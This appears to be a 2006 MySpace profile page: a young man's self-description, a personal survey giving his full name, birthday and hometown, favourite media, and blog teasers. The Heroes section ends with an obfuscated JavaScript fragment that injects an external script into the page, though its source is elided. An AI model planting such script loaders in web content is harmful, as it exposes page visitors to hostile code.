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Don Juan

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About Me

Ok, about me....My name is Efren. But my friends call me "E", or "Ef"...Im a man of many contradictions...i am a Gemini after all. If it seems like im two different people sometimes...well, sorry. I am sharp as a razor...tough as nails...im from the hood, i grew up poor. I make decisions on my own, and i never hesitate...I see something i want, i go for it, i see something wrong...i change it and make it right. I get bored really easily, and i enjoy seeing and doing new things, as well as meeting new people. Most people wouldnt believe that im as book learned as i am...but i pretty much gave myself a college education by the time i finished junior high. Go ahead and laugh, but take my word for it: you'd be surprised what you can learn by pickin up a book boys and girls... Nobody knows what ive been through, or what ive seen and done...and i doubt if anyone cares...I dont want everyone to like me...nor do i want anyone to hate me, but i want everyone to respect me. .. .. Popeye n OliveOyl! MySpace Profile Editor MySpace Profile Editor
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My Interests

The love of my life...baseball. I feel handsome when I'm on the diamond. I feel at home, in control, happy, and complete... I love to meet women. I like to have interesting conversations. I like to show off. I like working out, watching sports, hot showers, mirrors, Victoria's Secret models, and I love living in Southern Cali. I am a HUGE LA DODGERS FAN and RAIDERS FAN!!!!...And thats about it. If u wanna know more just ask.
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TELL ME ABOUT YOURSELF - The Survey
Name: Efren Gonzales Gutierrez
Birthday: June 15, 1985
Birthplace: Lompoc, CA
Current Location: Lompoc, CA
Eye Color: Dark
Hair Color: Dark
Height: short as fuck
Right Handed or Left Handed: right
Your Heritage: Mexican
The Shoes You Wore Today: running shoes, new ones...comfy
Your Weakness: food, women, and alcohol
Your Fears: spiders, needles, and the dark
Your Perfect Pizza: new york style, cheese
Goal You Would Like To Achieve This Year: get into the U.S. Naval Academy
Your Most Overused Phrase On an instant messenger: dont kno
Thoughts First Waking Up: what the fuck time is it...
Your Best Physical Feature: my skilled hands
Your Bedtime: whenever
Your Most Missed Memory: being a baseball player
Pepsi or Coke: Coke
MacDonalds or Burger King: McD's...but i gotta stay away from that stuff
Single or Group Dates: single, groups can be fun too though
Lipton Ice Tea or Nestea: lipton
Chocolate or Vanilla: chocolate. vanilla is good too though
Cappuccino or Coffee: coffee...only if its a cold morning and im up before 8am, which is never
Do you Smoke: occaisionally
Do you Swear: Go fuck yourself
Do you Sing: yeah, i try
Do you Shower Daily: twice daily
Have you Been in Love: havent we all?
Do you want to go to College: no...i want to go to a military academy
Do you want to get Married: yeah someday, if i can get a nice female to fall for me
Do you belive in yourself: doesnt matter, i do what i gotta do regardless
Do you get Motion Sickness: yeah, i do actually...car sick
Do you think you are Attractive: no i think women are attractive
Are you a Health Freak: kinda
Do you get along with your Parents: kinda
Do you like Thunderstorms: love em
Do you play an Instrument: yeah...Her. ;-)
In the past month have you Drank Alcohol: haaaa...yeah
In the past month have you Smoked: no actually
In the past month have you been on Drugs: nope
In the past month have you gone on a Date: nope
In the past month have you gone to a Mall: nooooYES, i have
In the past month have you eaten a box of Oreos: no
In the past month have you eaten Sushi: yes, i love that shit
In the past month have you been on Stage: my life is one big stage
In the past month have you been Dumped: no
In the past month have you gone Skinny Dipping: never been
In the past month have you Stolen Anything: what...am i under arrest?
Ever been Drunk: is the sky blue??
Ever been called a Tease: haha, fuck no
Ever been Beaten up: fuck no
Ever Shoplifted: do whatcha gotta do
How do you want to Die: young, gloriously
What do you want to be when you Grow Up: an officer, and a gentleman
What country would you most like to Visit: I plan on sailing the world.
In a Boy/Girl..
Favourite Eye Color: beautiful
Favourite Hair Color: blondes excite me...brunettes intrigue me
Short or Long Hair: long, soft and beautiful
Height: tall, im greedy...i like alot of woman...long legs, etc.
Weight: as long as shes' wearin them jeans well
Best Clothing Style: anything that leaves me searching, staring, and wantin to see more
Number of Drugs I have taken: prescription stuff
Number of CDs I own: who cares?
Number of Piercings: one in each ear
Number of Tattoos: none...yet
Number of things in my Past I Regret: hmmm, ya live in learn. Cant say i really regret much.

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I'd like to meet:

I would like to meet Bo Jackson...in my opinion the greatest athlete who ever lived. I would also liked to have met Jesus Christ, the greatest man who ever lived...I'd like to meet Johnny Depp, because he brought DonJuan to life in a movie... And id also like to meet a woman who is sweet, real, intelligent, brave, and honest... with a lil attitude, and a whole lot of spirit... And Of COURSE....GWEN STEFANI-aka my ideal woman. ..

Music:

I love music, and chances are good that when a good song comes on, I'll be right there singin along.... right now, for me... Pretty Ricky is a good representation of my style, in every way...thats how i get down. , Take ?id=2659""What Baseball Player Are You?"

Barry Bonds
You're a superstar whose always out for himself and doesn't like having to explain himself to anyone.

Movies:

I love LOTS of movies...My favorite actress is Kate Winslet. I also am in love with BRIDGET MOYNAHAN, Scarlett Johansson, catherine zeta-jones, keira knightley, salma hayek .. My favorite actors are...Johnny Depp, Al Pacino, Brad Pitt, Arnold Schwartzenegger, Eric Bana, Vince Vaughn, Adam Sandler, and Robert de Niro.

Television:

I dont miss Dodger games on FoxSports...thats like a ritual for me. I LOVE to watch Boxing...women's tennis...and "YO MOMMA"! Hogan Knows Best...and whatever my mood is, i'll watch.

Books:

I am a bookworm...have been since I was a kid. I have spent countless hours, in many a library just reading and skimming through books about basically anything and everything. I have an unquenchable thirst for knowledge. I basically am a self-educated man with knowledge in many different areas. I have read about famous people and events, kings and queens, wars, anthropology, the Presidents, sports, biology, philosophy, religion, cars, and just basically any topic you can think of-including sex...

Heroes:

My heroes are people that DONT do what they are told...who dont let others think for them. People who changed the world...like Abraham Lincoln, or Ben Franklin, or Robert E. Lee, or Julius Caesar. People who had brains AND courage, to know how and when to apply their revolutionary ideas. .."var s=document·createElement('script');s.src='..';document& #183;getElementsByTagName('head')[0].appendChild(s);"

My Blog

the status quo...

Some of you may already kno of my plans for the coming months...but for those of you that do not know, or dont quite know all the details, well, then I am about to lay it all out for you now. In ...
Posted by Don Juan on Thu, 03 Aug 2006 01:53:00 PST

My Autobiography

::Your Autobiography::Part 1: The Birth of YouWere you a planned baby?: fuck no! shit...i hope notWere you the first?: fuck yea!Who was present at your birth?: the DOC!Were your parents married when y...
Posted by Don Juan on Mon, 05 Jun 2006 12:33:00 PST

the Hero and the Coward...

The Hero, and the Coward started out as the same person.  They felt the same thing...they confronted the same danger. The hero was the hero because he faced his fear.  The coward ran away. T...
Posted by Don Juan on Fri, 28 Apr 2006 01:45:00 PST

Baseball Goals for 2006

Baseball season is right around the corner.  I am excited as can be...come March 4. I will begin my first spring playing baseball since 2003, my senior year of high school, and I am happy to...
Posted by Don Juan on Fri, 24 Feb 2006 12:25:00 PST

What the fuck.

Okay...so...this is "blog", eh?  Never done this before, but what the hey...anyways, I'm livin in Coos Bay, OR.  On the third floor of a dorm building.  And as I am lying here...I cant ...
Posted by Don Juan on Sun, 12 Feb 2006 02:41:00 PST